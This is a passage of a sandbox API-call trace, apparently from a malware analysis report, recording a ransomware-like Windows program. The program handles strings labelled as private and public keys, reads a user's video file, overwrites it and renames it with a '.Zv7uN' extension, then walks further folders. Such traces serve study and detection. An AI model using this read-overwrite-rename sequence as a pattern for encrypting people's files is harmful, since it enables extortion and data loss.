Sh7DtcOLJMK3w7zCnUM1wrHCkcKEwoTCjMOzenEydnHCjMOobcOww6vDjTZ5w548NsKwPcOoRcKTwoprw6TDpmzDi8KbKWbCpsOPw4fCgsO5MsKbw6vDksKiXsKmOMOmw4PDsD3Cr8KbBE7CsMKCOMOxw6PDjcKGwqvCoXrDjUvDsw4JIMKUFkrCvMKKw5XCu1vCtcOmeFvCiTbCpjdpw7w2wroYeil+OVDDt8Kpw7PClDwcw50UIsOew51RHBU3wozCjjMiwpPCosOBw6TCmsK/wr1cwol5w4MSwqgCwoUtwpnCrCLCosOFHnFMFClRNUJGZsOfUTrCh8OGOSDCl8K6wpTCt8OJSH/DnsKewrfDp1AQwqrChcK1OQPDogzDmcK2DnPCnjQkwow2awEzw5LCqU7CmMOSwrfCqmc5w7/CtUV/w6DChsOjRBLDswcwCcKfw50CwpzDlMKmBmHDgkDCv8KXacKFw7xyw4fDmiJxw53CpBbCt08DFDMDw4gXwoIFLMOPOcKRw77DpMK5w7Alw7/DgcO8BsOZRFI0w4bDmxLDpRXChcKUw5wyw4vCgnXCv8Odw6ZDwr8qS8ODw6bDksK8wqsFwpHDnUADw6YtBMKlXMK9SMKxMxDCujzCjCNXUMOwMxYcwoUVBcKBcsKXBzN+FUXDpMKiQMOjw6YeworCqMOJOsKiwpfDmD7CtcOIQMOPcSzDscOdwpPDpMO8w5XDsFl3w6DDpMK4A8OLwqDDrR02w7jCo8OKwqxhw7fDpmsvwr7DgcK8XsORM2XClMOKwqjDgU9vXW7CkiTDsWPCq8OUw6fDvgbDvEVhIcOyw51Wwp1ewow8LA9mw7DCtcKAdirCrMKABcOfw6t3wpnDq0XDpE7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0086.880] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x1ef003c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0086.881] GetCurrentThreadId () returned 0xa30 [0086.881] GetCurrentThreadId () returned 0xa30 [0086.881] GetCurrentThreadId () returned 0xa30 [0086.882] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0086.882] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x2c6bc7c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0086.882] GetCurrentThreadId () returned 0xa30 [0086.882] GetCurrentThreadId () returned 0xa30 [0086.882] GetCurrentThreadId () returned 0xa30 [0086.882] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\AQq3p\\xe-Wv9.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\aqq3p\\xe-wv9.mkv"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x11c [0086.883] SetFilePointer (in: hFile=0x11c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f694*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f694*=0) returned 0x0 [0086.883] SetFilePointer (in: hFile=0x11c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f68c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f68c*=0) returned 0x0 [0086.883] SetFilePointer (in: hFile=0x11c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f68c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f68c*=0) returned 0x12c7d [0086.883] SetFilePointer (in: hFile=0x11c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f68c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f68c*=0) returned 0x0 [0086.883] ReadFile (in: hFile=0x11c, lpBuffer=0x1efff40, nNumberOfBytesToRead=0x12c7d, lpNumberOfBytesRead=0x18f6a0, lpOverlapped=0x0 | out: lpBuffer=0x1efff40*, lpNumberOfBytesRead=0x18f6a0*=0x12c7d, lpOverlapped=0x0) returned 1 [0086.886] CloseHandle (hObject=0x11c) returned 1 [0086.888] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\AQq3p\\xe-Wv9.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\aqq3p\\xe-wv9.mkv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x11c [0086.891] WriteFile (in: hFile=0x11c, lpBuffer=0x1f13f70*, nNumberOfBytesToWrite=0x12c7d, lpNumberOfBytesWritten=0x18f6ac, lpOverlapped=0x0 | out: lpBuffer=0x1f13f70*, lpNumberOfBytesWritten=0x18f6ac*=0x12c7d, lpOverlapped=0x0) returned 1 [0086.895] CloseHandle (hObject=0x11c) returned 1 [0086.901] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\AQq3p\\xe-Wv9.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\aqq3p\\xe-wv9.mkv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\AQq3p\\xe-Wv9.mkv.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\aqq3p\\xe-wv9.mkv.zv7un")) returned 1 [0086.905] GetCurrentThreadId () returned 0xa30 [0086.905] GetCurrentThreadId () returned 0xa30 [0086.905] GetCurrentThreadId () returned 0xa30 [0086.906] GetCurrentThreadId () returned 0xa30 [0086.906] GetCurrentThreadId () returned 0xa30 [0086.906] GetCurrentThreadId () returned 0xa30 [0086.906] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc556b150, ftCreationTime.dwHighDateTime=0x1d5dea9, ftLastAccessTime.dwLowDateTime=0x5ee84630, ftLastAccessTime.dwHighDateTime=0x1d5e468, ftLastWriteTime.dwLowDateTime=0x5ee84630, ftLastWriteTime.dwHighDateTime=0x1d5e468, nFileSizeHigh=0x0, nFileSizeLow=0x12c7d, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="xe-Wv9.mkv", cAlternateFileName="")) returned 0 [0086.906] GetLastError () returned 0x12 [0086.906] FindClose (in: hFindFile=0x6aa040 | out: hFindFile=0x6aa040) returned 1 [0086.906] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\AQq3p\\*.*", lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee13df30, ftCreationTime.dwHighDateTime=0x1d5e5c7, ftLastAccessTime.dwLowDateTime=0x51b71060, ftLastAccessTime.dwHighDateTime=0x1d622f5, ftLastWriteTime.dwLowDateTime=0x51b71060, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName=".", cAlternateFileName="")) returned 0x6aa040 [0086.906] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f750 | out: lpLocalFileTime=0x18f750) returned 1 [0086.906] FileTimeToDosDateTime (in: lpFileTime=0x18f750, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0086.907] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee13df30, ftCreationTime.dwHighDateTime=0x1d5e5c7, ftLastAccessTime.dwLowDateTime=0x51b71060, ftLastAccessTime.dwHighDateTime=0x1d622f5, ftLastWriteTime.dwLowDateTime=0x51b71060, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="..", cAlternateFileName="")) returned 1 [0086.907] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f74c | out: lpLocalFileTime=0x18f74c) returned 1 [0086.907] FileTimeToDosDateTime (in: lpFileTime=0x18f74c, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0086.907] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3bd13500, ftCreationTime.dwHighDateTime=0x1d5e213, ftLastAccessTime.dwLowDateTime=0xb6d33810, ftLastAccessTime.dwHighDateTime=0x1d5e057, ftLastWriteTime.dwLowDateTime=0x51ad8ae0, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x9005, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="bbtjkel4YLOifFIr.mkv.Zv7uN", cAlternateFileName="BBTJKE~1.ZV7")) returned 1 [0086.907] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f74c | out: lpLocalFileTime=0x18f74c) returned 1 [0086.907] FileTimeToDosDateTime (in: lpFileTime=0x18f74c, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0086.907] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeaebc1f0, ftCreationTime.dwHighDateTime=0x1d5df29, ftLastAccessTime.dwLowDateTime=0x6aa9f260, ftLastAccessTime.dwHighDateTime=0x1d5e130, ftLastWriteTime.dwLowDateTime=0x51b24da0, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x3c51, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="bmTJ9.mp4.Zv7uN", cAlternateFileName="BMTJ9M~1.ZV7")) returned 1 [0086.907] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f74c | out: lpLocalFileTime=0x18f74c) returned 1 [0086.907] FileTimeToDosDateTime (in: lpFileTime=0x18f74c, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0086.907] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc556b150, ftCreationTime.dwHighDateTime=0x1d5dea9, ftLastAccessTime.dwLowDateTime=0x5ee84630, ftLastAccessTime.dwHighDateTime=0x1d5e468, ftLastWriteTime.dwLowDateTime=0x51b71060, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x12c7d, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="xe-Wv9.mkv.Zv7uN", cAlternateFileName="XE-WV9~1.ZV7")) returned 1 [0086.907] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f74c | out: lpLocalFileTime=0x18f74c) returned 1 [0086.907] FileTimeToDosDateTime (in: lpFileTime=0x18f74c, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0086.907] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc556b150, ftCreationTime.dwHighDateTime=0x1d5dea9, ftLastAccessTime.dwLowDateTime=0x5ee84630, ftLastAccessTime.dwHighDateTime=0x1d5e468, ftLastWriteTime.dwLowDateTime=0x51b71060, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x12c7d, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="xe-Wv9.mkv.Zv7uN", cAlternateFileName="XE-WV9~1.ZV7")) returned 0 [0086.907] GetLastError () returned 0x12 [0086.907] FindClose (in: hFindFile=0x6aa040 | out: hFindFile=0x6aa040) returned 1 [0086.908] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0xfcdde474, dwReserved1=0xba1113e9, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0086.908] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa90ae1b0, ftCreationTime.dwHighDateTime=0x1d5d963, ftLastAccessTime.dwLowDateTime=0x7ada0760, ftLastAccessTime.dwHighDateTime=0x1d5e71b, ftLastWriteTime.dwLowDateTime=0x7ada0760, ftLastWriteTime.dwHighDateTime=0x1d5e71b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfcdde474, dwReserved1=0xba1113e9, cFileName="DxP-tIBe7AmaJ6pj", cAlternateFileName="DXP-TI~1")) returned 1 [0086.908] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0086.908] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0086.908] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\DxP-tIBe7AmaJ6pj\\*.*", lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa90ae1b0, ftCreationTime.dwHighDateTime=0x1d5d963, ftLastAccessTime.dwLowDateTime=0x7ada0760, ftLastAccessTime.dwHighDateTime=0x1d5e71b, ftLastWriteTime.dwLowDateTime=0x7ada0760, ftLastWriteTime.dwHighDateTime=0x1d5e71b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName=".", cAlternateFileName="")) returned 0x6aa040 [0086.908] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa90ae1b0, ftCreationTime.dwHighDateTime=0x1d5d963, ftLastAccessTime.dwLowDateTime=0x7ada0760, ftLastAccessTime.dwHighDateTime=0x1d5e71b, ftLastWriteTime.dwLowDateTime=0x7ada0760, ftLastWriteTime.dwHighDateTime=0x1d5e71b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="..", cAlternateFileName="")) returned 1 [0086.908] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x535db2d0, ftCreationTime.dwHighDateTime=0x1d5daab, ftLastAccessTime.dwLowDateTime=0xb709ae80, ftLastAccessTime.dwHighDateTime=0x1d5e643, ftLastWriteTime.dwLowDateTime=0xb709ae80, ftLastWriteTime.dwHighDateTime=0x1d5e643, 